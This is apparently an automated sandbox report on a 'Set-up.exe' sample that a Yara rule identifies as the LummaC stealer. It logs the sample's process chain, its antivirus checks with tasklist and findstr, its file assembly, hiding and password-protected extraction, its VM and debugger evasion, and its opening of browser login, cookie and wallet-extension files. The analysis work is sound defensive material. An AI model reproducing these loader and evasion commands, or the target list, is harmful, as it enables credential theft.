Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll
Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe	Section loaded: netutils.dll

Source: C:\Users\user\Desktop\Set-up.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\tasklist.exe tasklist

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: Set-up.exe

Static file information: File size 56623098 > 1048576

Source: Set-up.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\Set-up.exe

Code function: 0_2_004062FC GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_004062FC

Source: 7z.dll.16.dr	Static PE information: real checksum: 0x0 should be: 0x1a2c6b
Source: Installer.exe.31.dr	Static PE information: real checksum: 0x3425e should be: 0xa3dbd
Source: 7z.exe.16.dr	Static PE information: real checksum: 0x0 should be: 0x7b29e

Source: C:\Users\user\AppData\Local\Temp\X0JA3EDV7BU5B3IH21ST0OE852AR.exe	Code function: 16_2_004192C0 push eax; ret		16_2_004192EE
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 20_2_0013676A push rcx; ret		20_2_0013676B

Persistence and Installation Behavior

Drops PE files with a suspicious file extension

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe

33_2_00E41280

Source: C:\Users\user\AppData\Local\Temp\X0JA3EDV7BU5B3IH21ST0OE852AR.exe	File created: C:\Users\user\AppData\Local\Temp\main\7z.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	File created: C:\Users\user\AppData\Local\Temp\main\extracted\Installer.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\X0JA3EDV7BU5B3IH21ST0OE852AR.exe	File created: C:\Users\user\AppData\Local\Temp\main\7z.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File created: C:\Users\user\AppData\Local\Temp\X0JA3EDV7BU5B3IH21ST0OE852AR.exe	Jump to dropped file

Source: C:\Users\user\Desktop\Set-up.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X0JA3EDV7BU5B3IH21ST0OE852AR.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Contains functionality to detect sleep reduction / modifications

Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe	Code function: 33_2_00E41290		33_2_00E41290
Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe	Code function: 33_2_00E41280		33_2_00E41280

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\X0JA3EDV7BU5B3IH21ST0OE852AR.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\main\7z.dll

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	API coverage: 5.1 %
Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe	API coverage: 3.7 %

Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe

Code function: 33_2_00E41280

33_2_00E41280

Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif TID: 5964	Thread sleep time: -30000s >= -30000s			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe TID: 6320	Thread sleep time: -40000s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_004062D5 FindFirstFileW,FindClose,	0_2_004062D5
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_00402E18 FindFirstFileW,	0_2_00402E18
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_00406C9B DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00406C9B
Source: C:\Users\user\AppData\Local\Temp\X0JA3EDV7BU5B3IH21ST0OE852AR.exe	Code function: 16_2_0040367D GetFileAttributesW,SetLastError,FindFirstFileW,FindClose,CompareFileTime,	16_2_0040367D
Source: C:\Users\user\AppData\Local\Temp\X0JA3EDV7BU5B3IH21ST0OE852AR.exe	Code function: 16_2_004031DC FindFirstFileW,SetFileAttributesW,lstrcmpW,lstrcmpW,SetFileAttributesW,DeleteFileW,FindNextFileW,FindClose,SetFileAttributesW,RemoveDirectoryW,??3@YAXPAX@Z,??3@YAXPAX@Z,	16_2_004031DC
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 20_2_00117978 FindFirstFileW,FindFirstFileW,free,	20_2_00117978
Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe	Code function: 33_2_00E4A151 FindFirstFileExW,	33_2_00E4A151

Source: C:\Users\user\AppData\Local\Temp\main\7z.exe

Code function: 20_2_0011881C free,free,GetLogicalDriveStringsW,GetLogicalDriveStringsW,free,free,free,

20_2_0011881C

Source: C:\Users\user\AppData\Local\Temp\main\7z.exe

Code function: 20_2_0011B5E0 GetSystemInfo,

20_2_0011B5E0

Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe

Thread delayed: delay time: 40000

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\506033\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\506033	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe

Code function: 33_2_00E420FF IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

33_2_00E420FF

Source: C:\Users\user\Desktop\Set-up.exe

Code function: 0_2_004062FC GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_004062FC

Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe	Code function: 33_2_00E46B54 mov eax, dword ptr fs:[00000030h]		33_2_00E46B54
Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe	Code function: 33_2_00E4B52D mov eax, dword ptr fs:[00000030h]		33_2_00E4B52D

Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe

Code function: 33_2_00E4BFD4 GetProcessHeap,

33_2_00E4BFD4

Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe	Code function: 33_2_00E420FF IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	33_2_00E420FF
Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe	Code function: 33_2_00E42262 SetUnhandledExceptionFilter,	33_2_00E42262
Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe	Code function: 33_2_00E42375 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	33_2_00E42375
Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe	Code function: 33_2_00E45E89 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	33_2_00E45E89

Source: C:\Users\user\Desktop\Set-up.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Crest Crest.bat & Crest.bat	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr -I "avastui avgui bdservicehost nswscsvc sophoshealth"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 506033	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "RubberBrilliantPoliceOperator" Count	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Lil + ..\Labeled + ..\Warren + ..\Current + ..\Endless + ..\Towers + ..\Based W	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif Limitations.pif W	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X0JA3EDV7BU5B3IH21ST0OE852AR.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mode.com mode 65,10	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e file.zip -p29586644319935208542739921766 -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_11.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_10.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_9.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_8.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_7.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_6.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_5.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_4.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_3.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_2.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_1.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +H "Installer.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\Installer.exe "Installer.exe"	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\X0JA3EDV7BU5B3IH21ST0OE852AR.exe

Code function: 16_2_00402744 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

16_2_00402744

Source: Set-up.exe, 00000000.00000003.2163100883.0000000002AE6000.00000004.00000020.00020000.00000000.sdmp, Limitations.pif, 0000000B.00000000.2200247856.0000000000646000.00000002.00000001.01000000.00000006.sdmp, Amazing.0.dr, Limitations.pif.2.dr

Binary or memory string: Run Script:AutoIt script files (*.au3, *.a3x)*.au3;*.a3xAll files (*.*)*.*au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning

Source: C:\Users\user\AppData\Local\Temp\main\7z.exe

Code function: 20_2_0015D670 cpuid

20_2_0015D670

Source: C:\Users\user\AppData\Local\Temp\X0JA3EDV7BU5B3IH21ST0OE852AR.exe

Code function: GetLastError,GetLastError,wsprintfW,GetEnvironmentVariableW,GetEnvironmentVariableW,GetLastError,??2@YAPAXI@Z,GetEnvironmentVariableW,GetLastError,lstrcmpiW,??3@YAXPAX@Z,??3@YAXPAX@Z,SetLastError,lstrlenA,??2@YAPAXI@Z,GetLocaleInfoW,_wtol,MultiByteToWideChar,

16_2_0040247D

Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\X0JA3EDV7BU5B3IH21ST0OE852AR.exe

Code function: 16_2_004039E7 lstrlenW,GetSystemTimeAsFileTime,GetFileAttributesW,memcpy,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,

16_2_004039E7

Source: C:\Users\user\Desktop\Set-up.exe

Code function: 0_2_00406805 GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,

0_2_00406805

Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\506033\Limitations.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
